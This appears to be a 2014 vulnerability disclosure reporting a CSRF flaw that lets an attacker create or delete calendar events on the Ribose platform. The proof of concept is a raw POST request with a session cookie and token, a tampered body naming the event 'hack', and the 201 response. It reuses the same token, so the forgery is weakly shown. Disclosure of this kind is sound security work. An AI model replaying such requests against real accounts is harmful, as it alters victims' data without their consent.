Ribose Cross Site Request Forgery

`Hi Team,  
  
Please find the attached description and the PoC for the vulnerability  
identified.  
  
Vulnerability: CSRF Attack on Ribose Online Social Collaboration Platform  
Date: 13/08/2014  
Author: JoeV  
Vendor: www.ribose.com  
Tested on: Windows 7  
Description: A CSRF attack forces a logged-on victim’s browser to send a  
forged HTTP request, including the victim’s session cookie and any other  
automatically included authentication information. This allows the attacker  
to force the victim’s browser to generate requests the vulnerable  
application thinks are legitimate requests from the victim. It was observed  
that the vulnerability allows an adversary to create/delete events by CSRF  
vulnerability.  
  
Original request:  
-----------------------  
POST https://www.ribose.com/calendar/calendar/12736/event?jr=  
indigolocal_A2956C161 HTTP/1.1  
Host: www.ribose.com  
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101  
Firefox/31.0  
Accept: application/json, text/javascript, */*; q=0.01  
Accept-Language: en-gb,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-CSRF-Token:  
LQQDnklKSZYX95knj6g2RsjVSlXToLO/uO1NenGZJD8d9v8KhXrC2j6V6VNc1XRf2FmMi2FT8uohG+sCFBuCVQ==  
X-CSRF-Param: authenticity_token  
X-Requested-With: XMLHttpRequest  
Referer: https://www.ribose.com/  
Content-Length: 210  
Cookie: _indigo_session=cc38aedab4a21e2cf8b54e816da668f6  
DNT: 1  
Connection: keep-alive  
Pragma: no-cache  
Cache-Control: no-cache  
  
event%5Bcalendar_id%5D=12736&event%5Bname%5D=Test&event%5Ball_day%5D=0&event%5Bdate_start%5D=13%2F08%2F2014&event%5Bdate_finish%5D=13%2F08%2F2014&event%5Btime_start%5D=10%3A00am&event%5Btime_finish%5D=11%3A00am  
  
Tampered Request: (using the same cookie)  
----------------------------------------------------------------  
event%5Bcalendar_id%5D=12736&event%5Bname%5D=hack&event%5Ball_day%5D=0&event%5Bdate_start%5D=13%2F08%2F2014&event%5Bdate_finish%5D=13%2F08%2F2014&event%5Btime_start%5D=10%3A00am&event%5Btime_finish%5D=11%3A00am  
  
Response:  
---------------  
HTTP/1.1 201 Created  
Cache-Control: max-age=0, private, must-revalidate  
Content-Language: en  
Content-Type: application/json; charset=utf-8  
Date: Wed, 13 Aug 2014 09:43:31 GMT  
ETag: "79ed58ab8395540092afba3b8fc37639"  
Server: Ribose  
Status: 201 Created  
Strict-Transport-Security: max-age=604800; includeSubdomains  
X-Frame-Options: SAMEORIGIN  
X-Powered-By: Ribose  
X-Rack-Cache: invalidate, pass  
X-Request-Id: c6a95f5b3453e806c8fe5aaebe6f99fd  
X-Runtime: 0.324388  
X-UA-Compatible: IE=Edge,chrome=1  
X-XSS-Protection: 1; mode=block  
Connection: keep-alive  
Content-Length: 354  
  
{"events":{"all_day":false,"calendar_id":12736,"created_by":3395,"description":"","id":60768,"my_note":null,"name":"hack","old_head_id":null,"recurring_type":"not_repeat","where":"","utc_start":"2014-08-13T10:00:00Z","utc_finish":"2014-08-13T11:00:00Z","utc_old_start":null,"utc_old_finish":null,"can_save":true,"can_delete":true,"timestamp":1407923011}}  
  
--   
Regards,  
`